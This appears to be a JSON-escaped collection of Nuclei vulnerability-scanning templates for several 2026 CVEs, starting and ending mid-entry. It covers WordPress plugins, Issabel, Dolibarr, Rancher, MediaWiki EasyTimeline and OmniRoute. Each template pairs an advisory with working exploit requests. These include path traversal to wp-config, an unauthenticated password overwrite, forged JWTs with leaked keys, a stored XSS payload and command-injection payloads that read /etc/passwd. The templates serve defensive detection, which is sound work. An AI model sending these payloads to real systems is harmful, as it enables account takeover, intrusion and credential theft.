Store Locator WordPress plugin before 1.6.9 does not validate a parameter before using it in a file path, allowing high-privileged users such as administrators to read arbitrary .php files from the server.\n  impact: |\n    Authenticated attackers can disclose local files, including configuration files that contain database credentials and authentication keys.\n  remediation: |\n    Update to version 1.6.9 or later.\n  reference:\n    - https://wpscan.com/vulnerability/14014b6b-ce49-4778-822c-026ecafa1772/\n    - https://wordpress.org/plugins/agile-store-locator/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9062\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:N/A:N\n    cvss-score: 3.4\n    cve-id: CVE-2026-9062\n    epss-score: 0.00486\n    epss-percentile: 0.41998\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: agile-logix\n    product: agile-store-locator\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/agile-store-locator/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,traversal,authentication,agile-store-locator\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin.php?page=asl-settings HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        regex:\n          - 'ASL_REMOTE = \\{[^}]*\"nounce\":\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=asl_ajax_handler&sl-action=reset_custom_template&asl-nounce={{nonce}}&template=cards-templates&section=../../../../../wp-config\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"DB_NAME\", \"DB_PASSWORD\")'\n        condition: and\n# digest: 4b0a00483046022100b433a62d6e0257aa03a576fa89749aea5e96fb8b771ae4793d3f4613203544ef022100aeba635e8a7fdc4af6f30b997ae474454f8ecf569df05b66c2d715a5ba544f9e:922c64590222798bb761d5b6d8e72950","severity":"low","template_path":"http/cves/2026/CVE-2026-9062.yaml","vuln_id":"cve-2026-9062"},{"raw":"id: CVE-2026-89079\n\ninfo:\n  name: Theme My Login <= 7.2.1 - Privilege Escalation\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Theme My Login (TML) <= 7.2.1 for WordPress is vulnerable to unauthenticated account takeover on multisite installations. The multisite-only filter tml_ms_filter_pre_insert_user_data(), hooked on wp_pre_insert_user_data, hashes and injects $_POST['user_pass1'] into the user record whenever the tml_user_passwords network option is enabled, WITHOUT checking the $update flag. During a lost password request (wp-login.php?action=lostpassword -> retrieve_password() -> wp_update_user()), this filter fires on the EXISTING target user, overwriting their password with an attacker-chosen value. An unauthenticated attacker can therefore take over any account, including a network administrator, by sending user_pass1 in the lost-password POST. Fixed in 7.2.2 (changeset 3696081 / commit 06b76231) by adding the $update guard and only applying the password during activation.\n  impact: |\n    Complete unauthenticated account takeover of any user (including network administrators) on WordPress multisite installations running Theme My Login <= 7.2.1 with tml_user_passwords enabled.\n  remediation: |\n    Update Theme My Login to 7.2.2 or later. As mitigation, disable the tml_user_passwords network option until patched.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/theme-my-login/vulnerability/wordpress-theme-my-login-plugin-7-2-1-unauthenticated-privilege-escalation-vulnerability\n    - https://plugins.trac.wordpress.org/changeset/3696081/theme-my-login\n    - https://github.com/theme-my-login/theme-my-login/commit/06b76231b86150eed932db52646734486ecd0781\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89079\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-89079\n    epss-score: 0.01631\n    epss-percentile: 0.76298\n    cwe-id: CWE-269\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: theme-my-login\n    product: theme-my-login\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/theme-my-login\"\n  tags: cve,cve2026,wordpress,wp-plugin,theme-my-login,privilege-escalation,account-takeover,multisite,intrusive,vkev\n\nvariables:\n  new_pass: \"Tml{{rand_base(10)}}!Xk9\"\n\nflow: |\n  http(1);\n  if (template[\"target_user\"]) {\n    http(2);\n    http(3);\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/users?per_page=1&orderby=id&order=asc HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"slug\")'\n        internal: true\n\n    extractors:\n      - type: json\n        name: target_user\n        part: body\n        json:\n          - '.[0].slug'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php?action=lostpassword HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept: text/html, */*\n\n        user_login={{target_user}}&user_pass1={{new_pass}}&user_pass2={{new_pass}}&redirect_to=&wp-submit=Get+New+Password&action=lostpassword\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: wordpress_test_cookie=WP Cookie check\n        Accept: text/html, */*\n\n        log={{target_user}}&pwd={{new_pass}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(header, \"wordpress_logged_in\")'\n          - 'contains(header, \"wp-admin\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: logged_in_as\n        part: header\n        group: 1\n        regex:\n          - \"wordpress_logged_in[^=]*=([^%]+)%7C\"\n# digest: 490a00463044022063fa83c53a86cefd1079ed3a760df4b9b9cfe8cd105f9d289a838b802d555758022067b12df24c5b0e84d26c717c97a88a7a2a3ff01f85404aa6d1293cfbb370a911:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-89079.yaml","vuln_id":"cve-2026-89079"},{"raw":"id: CVE-2026-89063\n\ninfo:\n  name: Bookly <=28.1 - IDOR Unauthenticated Sensitive Data Access\n  author: 0x_Akoko\n  severity: high\n  description: |\n    Bookly WordPress plugin <= 28.1 contains an insecure direct object reference caused by missing validation on 'conversation_id' parameter, letting unauthenticated attackers read and inject messages into any AI booking conversation, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can read sensitive customer booking data and inject messages into conversations, compromising privacy and data integrity.\n  remediation: |\n    Update to the latest version beyond 28.1.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bookly-responsive-appointment-booking-tool/online-scheduling-and-appointment-booking-system-281-insecure-direct-object-reference-to-unauthenticated-sensitive-data-access-and-message-injection-via-conversation-id-parameter\n    - https://www.cve.org/CVERecord?id=CVE-2026-89063\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N\n    cvss-score: 8.2\n    cve-id: CVE-2026-89063\n    epss-score: 0.01628\n    epss-percentile: 0.7625\n    cwe-id: CWE-639\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: bookly\n    product: bookly-responsive-appointment-booking-tool\n    shodan-query: 'http.html:\"BooklyL10nGlobal\"'\n    fofa-query: 'body=\"BooklyL10nGlobal\"'\n  tags: cve,cve2026,wordpress,wp-plugin,bookly,idor,unauth\n\nflow: |\n  http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"BooklyL10nGlobal\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrftoken\n        part: body\n        regex:\n          - '\"csrf_token\"\\s*:\\s*\"([^\"]+)\"'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n        Referer: {{RootURL}}/\n\n        action=bookly_ai_send_message&csrf_token={{csrftoken}}&conversation_id=0&message=hello\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"conversation_id\", \"last_message_id\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - 'body'\n# digest: 4b0a00483046022100ff6912c0975f3d6c981264fb1eb7528f9fbec812d867c9efba27b66561739090022100b6c3869eb3e372f7b4261e0562cc859000ecfe0a8e58e0b5410076643d46986b:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-89063.yaml","vuln_id":"cve-2026-89063"},{"raw":"id: CVE-2026-89026\n\ninfo:\n  name: Issabel Framework - Hard-Coded PBX API JWT Key\n  author: alex\n  severity: critical\n  description: |\n    Issabel Framework before commit b97dbaf uses a shared HS256 key for PBX API bearer tokens. This template uses the read-only AMI ExtensionState action to check whether the PBX API accepts a short-lived token signed with either the vulnerable upstream-source key or the key in the 5.0.0-2 RPM, after rejecting an unrelated key.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands as the Asterisk user, potentially compromising the system.\n  remediation: |\n    Update to the version after commit b97dbaf or latest available version.\n  reference:\n    - https://github.com/IssabelFoundation/framework/commit/b97dbaf0b71c1c36f841e672b664afbeb02773bd\n    - https://github.com/IssabelFoundation/firstboot/commit/74b28cab9a35\n    - https://www.vulncheck.com/advisories/issabel-pbx-hard-coded-jwt-key-rce-via-pbxapi-manager-originate\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-89026\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.3\n    cve-id: CVE-2026-89026\n    epss-score: 0.02699\n    epss-percentile: 0.85968\n    cwe-id: CWE-321\n  metadata:\n    max-request: 3\n    vendor: issabel\n    product: framework\n  tags: cve,cve2026,issabel,pbx,jwt,auth-bypass,vuln,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  access_claims: '{\"data\":{\"name\":\"admin\"}}'\n  control_key: \"unrelated-lab-control-key-for-jwt-differential\"\n\nhttp:\n  - raw:\n      - |\n        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{generate_jwt(access_claims,\"HS256\",control_key,unix_time(120))}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 403\n        internal: true\n\n  - raw:\n      - |\n        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{generate_jwt(access_claims,\"HS256\",key,unix_time(120))}}\n        Accept: application/json\n\n    payloads:\n      key:\n        - \"da893kasdfam43k29akdkfaFFlsdfhj23rasdf\"\n        - \"YjViOTcxMWMzMDc5M2RkNDdiYTNkZDk1YTgyYjNjYzdhNTkwNTUwODk2MjU1YTE0\"\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains_all(body, '\"Response\":\"Success\"', '\"Message\":\"Extension Status\"', '\"Exten\":\"1000\"')\n          - contains(content_type, \"application/json\")\n          - status_code == 200\n        condition: and\n# digest: 490a0046304402202149d551f5354ea33b66a609b4a55e9c387a127b841f8f49f7abefb73fd354db02201e3ee2e7d63ba35e6549e31fe530fff2262ef97f5e6ca0328703cb0aec4d4d0c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-89026.yaml","vuln_id":"cve-2026-89026"},{"raw":"id: CVE-2026-89013\n\ninfo:\n  name: Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Dolibarr ERP/CRM versions 23.0.4 through 24.0.0 contain an authorization bypass vulnerability in document.php and viewimage.php. The public share-link feature forces NOLOGIN when hashp is present, but the value 'shared' skips token resolution while the override still fires for any non-empty hashp value. This bypass allows unauthenticated remote attackers to read arbitrary files from all Dolibarr managed directories including logs, SQL database backups, invoices, contracts, user vcards, and custom module sources.\n  impact: |\n    Unauthenticated remote attackers can read arbitrary files from all Dolibarr managed directories, potentially exposing database credentials, invoices, contracts, and other sensitive data.\n  remediation: |\n    Upgrade Dolibarr to version 24.0.1 or later.\n  reference:\n    - https://github.com/Faceless0x7/CVE-2026-89013\n    - https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9\n    - https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b\n    - https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191\n    - https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1\n    - https://www.vulncheck.com/advisories/dolibarr-authorization-bypass-via-hashp-parameter-in-document-php\n    - https://previdian.com/CVE-2026-89013\n    - http://nvd.nist.gov/vuln/detail/CVE-2026-89013\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-89013\n    epss-score: 0.0156\n    epss-percentile: 0.753\n    cwe-id: CWE-863\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: dolibarr\n    product: dolibarr\n    shodan-query: http.title:\"Dolibarr\"\n    fofa-query: app=\"Dolibarr\"\n  tags: cve,cve2026,dolibarr,auth-bypass,file-read,vkev\n\nvariables:\n  canary: \"{{rand_text_alpha(16)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /index.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"Dolibarr\") || contains(body, \"main_login\") || contains(body, \"dol_login\")'\n          - 'status_code == 200'\n        condition: and\n\n  - raw:\n      - |\n        GET /document.php?hashp=shared&modulepart=medias&file={{canary}}.canary HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{{canary}}\")'\n          - '!contains_any(body, \"Bad value for parameter hashp\", \"Missing identification to find file\", \"main_login\")'\n        condition: and\n# digest: 4a0a0047304502202c68e8c51d0203429bfe32002542950a851283c152d8d6a4e59286e8bf7a0f1b0221009efda78f3e57fec9c28e52f9941e7b7e05dcbe114e0eff8f9e97913d99110f6b:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-89013.yaml","vuln_id":"cve-2026-89013"},{"raw":"id: CVE-2026-88804\n\ninfo:\n  name: SUSE Rancher - Stored XSS via Unauthenticated Settings Override\n  author: R0gfall\n  severity: high\n  description: |\n    SUSE Rancher supports HTTP method override via the `_method` query parameter in the Norman API framework. Public UI settings routes were intended to be read-only for unauthenticated users, but the method override allows an unauthenticated attacker to perform PUT requests, modifying settings such as `ui-pl` (the product-line branding value). This value is rendered as raw HTML on the Rancher login page (`/dashboard/auth/login`) without sanitization, enabling stored cross-site scripting. Any user who subsequently opens the login page executes the attacker-controlled script in the Rancher origin, potentially leading to administrator session hijacking, bootstrap password disclosure, or full administrative control of the Rancher installation and its downstream clusters.\n  impact: |\n    An unauthenticated attacker with network access to the Rancher server can execute arbitrary JavaScript in the browser of any user who visits the login page, enabling session hijacking, credential theft, and full administrative takeover of the Rancher installation and managed clusters.\n  remediation: |\n    Update Rancher to version 2.15.2, 2.14.6, 2.13.10, 2.12.14, or 2.11.18 or newer. After upgrading, review the current values of public UI settings (ui-pl, first-login, ui-banners, ui-brand, ui-issues, ui-default-landing) and restore any unexpected values. Rotate the local administrator password and invalidate existing administrator tokens and sessions if tampering is suspected.\n  reference:\n    - https://github.com/rancher/rancher/security/advisories/GHSA-992f-xh8r-jg2f\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-88804\n    - https://github.com/R0gfall/CVE-2026-88804\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\n    cvss-score: 9.6\n    cve-id: CVE-2026-88804\n    epss-score: 0.01036\n    epss-percentile: 0.64002\n    cwe-id: CWE-79,CWE-862\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: suse\n    product: rancher\n    shodan-query: http.title:\"Rancher\"\n    fofa-query: title=\"Rancher\"\n  tags: cve,cve2026,rancher,suse,xss,stored-xss,intrusive\n\nvariables:\n  boundary: \"{{rand_text_alphanumeric(16)}}\"\n  marker: \"{{rand_text_alphanumeric(12)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /v3/settings/ui-pl?_method=PUT HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----{{boundary}}\n\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"value\"\n\n        <img src=x onerror=alert('{{marker}}')>\n        ------{{boundary}}--\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"id\":\"ui-pl\"'\n          - \"<img src=x onerror=alert('{{marker}}')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /v3/settings/ui-pl HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"id\":\"ui-pl\"'\n          - \"<img src=x onerror=alert('{{marker}}')\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100cdc347fdc0aae24e610b69749e0d0baf330594b8d3f8de367924579dafa2801c022055da40c764329f05e20e6ce25130c899fc39fe3f3cc902c2ced66286d5a4075b:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-88804.yaml","vuln_id":"cve-2026-88804"},{"raw":"id: CVE-2026-8857\n\ninfo:\n  name: MediaWiki EasyTimeline - Code Injection RCE\n  author: pdteam\n  severity: high\n  description: |\n    MediaWiki EasyTimeline (Timeline) extension versions before 1.46.0, 1.45.4, 1.44.6, and 1.43.9 contain a code injection vulnerability caused by insufficient neutralization of newlines in TextData text attributes in EasyTimeline.pl / Timeline.php. A crafted <timeline> block can inject ploticus '#proc getdata' and 'command:' directives, which execute via /bin/sh because EasyTimeline invokes ploticus without the -noshell flag. Exploitation requires the ability to submit timeline markup for rendering — low-privileged edit access, or anonymous access on wikis that allow anonymous editing and API use. This template's parse-based check needs API read access; optional username/password inputs can be supplied for private wikis that deny anonymous read.\n  impact: |\n    Attackers who can submit timeline markup can execute arbitrary OS commands in the context of the EasyTimeline/ploticus process, potentially leading to full host compromise where Timeline is not isolated (for example outside a remote shellbox).\n  remediation: |\n    Upgrade the Timeline / EasyTimeline extension to 1.46.0, 1.45.4, 1.44.6, or 1.43.9 (or later). If an upgrade is not immediately possible, disable the EasyTimeline extension, especially when it is not executed in an isolated shellbox.\n  reference:\n    - https://phabricator.wikimedia.org/T426631\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8857\n    - https://github.com/advisories/GHSA-q6xp-j96f-7vmp\n    - https://www.mail-archive.com/wikitech-l@lists.wikimedia.org/msg97434.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-8857\n    cwe-id: CWE-94\n    epss-score: 0.02098\n    epss-percentile: 0.81741\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: mediawiki\n    product: easytimeline\n    shodan-query: http.component:\"MediaWiki\"\n    fofa-query: app=\"MediaWiki\"\n  tags: cve,cve2026,mediawiki,easytimeline,timeline,rce,intrusive,authenticated,vuln\n\nflow: |\n  if (template[\"username\"] && template[\"password\"]) {\n    http(\"login\") && http(\"detect\") && http(\"exploit\")\n  } else {\n    http(\"detect\") && http(\"exploit\")\n  }\n\nhttp:\n  - id: login\n    raw:\n      - |\n        GET /api.php?action=query&meta=tokens&type=login&format=json HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /api.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=login&format=json&lgname={{username}}&lgpassword={{password}}&lgtoken={{url_encode(logintoken)}}\n\n    extractors:\n      - type: json\n        name: logintoken\n        part: body\n        internal: true\n        json:\n          - '.query.tokens.logintoken'\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"result\":\"Success\"'\n        internal: true\n\n  - id: detect\n    raw:\n      - |\n        GET /api.php?action=query&meta=siteinfo&siprop=extensions|general&format=json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"\\\"generator\\\":\\\"MediaWiki\")'\n          - 'contains(body, \"\\\"name\\\":\\\"EasyTimeline\\\"\")'\n        internal: true\n\n  - id: exploit\n    raw:\n      - |\n        POST /api.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=parse&format=json&contentmodel=wikitext&text=%3Ctimeline%3E%0ADateFormat%3Dyyyy%0AImageSize%3Dwidth%3A200+height%3A100%0APeriod%3Dfrom%3A2000+till%3A2010%0APlotArea%3Dwidth%3A150+height%3A50+left%3A30+bottom%3A30%0ATimeAxis%3Dorientation%3Ahorizontal%0ATextData%3D%0A++pos%3A%2840%2C40%29+fontsize%3AS+text%3A%22x%5Cn%23proc+getdata%5Cncommand%3A+id+%3E+file.err%5Cn{{rand_text_alphanumeric(12)}}%22%0A%3C%2Ftimeline%3E\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'timeline-error'\n      - type: regex\n        part: body\n        regex:\n          - 'uid=\\d+\\([^)]+\\)'\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '(uid=\\d+\\([^)]+\\)(?:\\s+gid=\\d+\\([^)]+\\))?(?:\\s+groups=[^<\"\\\\]+)?)'\n# digest: 4a0a00473045022100ae357c218dcd8094eadfc32d043a60d9a882ee81af6b638c8e8ad84767253f1702205e925ef11e74f8481e80245cc615b4798abddd1145d6f2396101b6864c9051b8:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-8857.yaml","vuln_id":"cve-2026-8857"},{"raw":"id: CVE-2026-8839\n\ninfo:\n  name: WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    MapPress Maps for WordPress <= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests\n  impact: |\n    Unauthenticated attackers can read sensitive map data; authenticated contributors can modify or delete any map, risking data exposure and unauthorized modifications.\n  remediation: |\n    Update to the latest version beyond 2.96.6.\n  reference:\n    - https://plugins.trac.wordpress.org/browser/mappress-google-maps-for-wordpress/trunk/mappress_api.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8839\n    - https://wordpress.org/plugins/mappress-google-maps-for-wordpress/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-8839\n    epss-score: 0.01018\n    epss-percentile: 0.63459\n    cwe-id: CWE-639\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: body=\"wp-content/plugins/mappress-google-maps-for-wordpress\"\n  tags: cve,cve2026,wordpress,wp-plugin,mappress,idor,exposure,wp\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/mapp/v1/maps/1 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"\\\"mapid\\\"\", \"\\\"pois\\\"\", \"\\\"center\\\"\")'\n        condition: and\n# digest: 4a0a0047304502201679256b81cdc48bc336d9377bb20cb020fea6c4aa4663eb3631264865097a9d022100a9a749f18f1878415f26aad8b1ed1b47e9dbdac90f3a8b47f4a7f2975f9750b2:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8839.yaml","vuln_id":"cve-2026-8839"},{"raw":"id: CVE-2026-88062\n\ninfo:\n  name: OmniRoute < 3.8.49 - Unauthenticated RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    OmniRoute <= 3.8.49 contains a remote code execution caused by insufficient validation of interpreter arguments in the POST /api/acp/agents endpoint, letting remote attackers execute arbitrary code, exploit requires anonymous access when requireLogin is false or management session/API key when true.\n  impact: |\n    Remote attackers can execute arbitrary code in the server container, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version once a fix is available.\n  reference:\n    - https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr\n    - https://github.com/diegosouzapw/OmniRoute/pull/11028\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-88062\n  classification:\n    cvss-score: 9.5\n    cve-id: CVE-2026-88062\n    epss-score: 0.01424\n    epss-percentile: 0.72987\n    cwe-id: CWE-94,CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: omniroute\n    product: omniroute\n    shodan-query: http.title:\"OmniRoute\"\n    fofa-query: title=\"OmniRoute\"\n  tags: cve,cve2026,omniroute,rce,unauth,ai,vkev\n\nvariables:\n  agentid: \"{{rand_base(8, 'acfhjnprx')}}\"\n  agentname: \"{{rand_base(8, 'acfhjnprx')}}\"\n  alias: \"{{rand_base(8, 'acfhjnprx')}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/acp/agents HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"id\":\"{{agentid}}\",\"name\":\"{{agentname}}\",\"binary\":\"node\",\"versionCommand\":\"node -e \\\"process.stdout.write(require('child_process').execSync('cat /etc/passwd').toString())\\\"\",\"providerAlias\":\"{{alias}}\",\"spawnArgs\":[],\"protocol\":\"stdio\",\"version\":\"\",\"installed\":true,\"isCustom\":true}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'regex(\"root:.*:0:0:\", body)'\n        condition: and\n# digest: 4a0a00473045022100ca297fe0b42a13bb21390fd792e40a9aae58fe3628e02d55e8b934675b766796022068ed509ff6730046b5ccb5a55e0aee619cc6611d93ad753bc9ba7db95999fb6f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-88062.yaml","vuln_id":"cve-2026-88062"},{"raw":"id: CVE-2026-87902\n\ninfo:\n  name: WordPress Core - PHP Template Path Traversal\n  author: Hadrian,FLX\n  severity: critical\n  description: |\n    An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.\n  impact: |\n    An unauthenticated attacker can include local PHP files outside the active theme. Depending on the files present and the PHP configuration, this can disclose sensitive data or lead to arbitrary code execution.\n  remediation: |\n    Update WordPress to a patched maintenance release for the installed branch.\n  reference:\n    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp\n    - https://github.com/WordPress/WordPress/commit/fdeab470f4b4062462cf8ccdc788f258683c2d6f\n    - https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-87902\n    epss-score: 0.95769\n    epss-percentile: 0.99872\n    cwe-id: CWE-98\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: wordpress\n    product: wordpress\n    framework: wordpress\n    shodan-query: http.component:\"WordPress\"\n    fofa-query: app=\"WordPress\"\n  tags: cve,cve2026,wordpress,wp-core,lfi,unauth,vkev,kev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/pages?per_page=1&_fields=id HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: false\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'regex(\"\\\"id\\\"\\\\s*:\\\\s*[0-9]+\", body) || regex(\"(?:page_id=|page-id-|page-item-)[0-9]+\", body)'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: page_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"id\"\\s*:\\s*([0-9]+)'\n          - '(?:page_id=|page-id-|page-item-)([0-9]+)'\n\n  - raw:\n      - |\n        POST 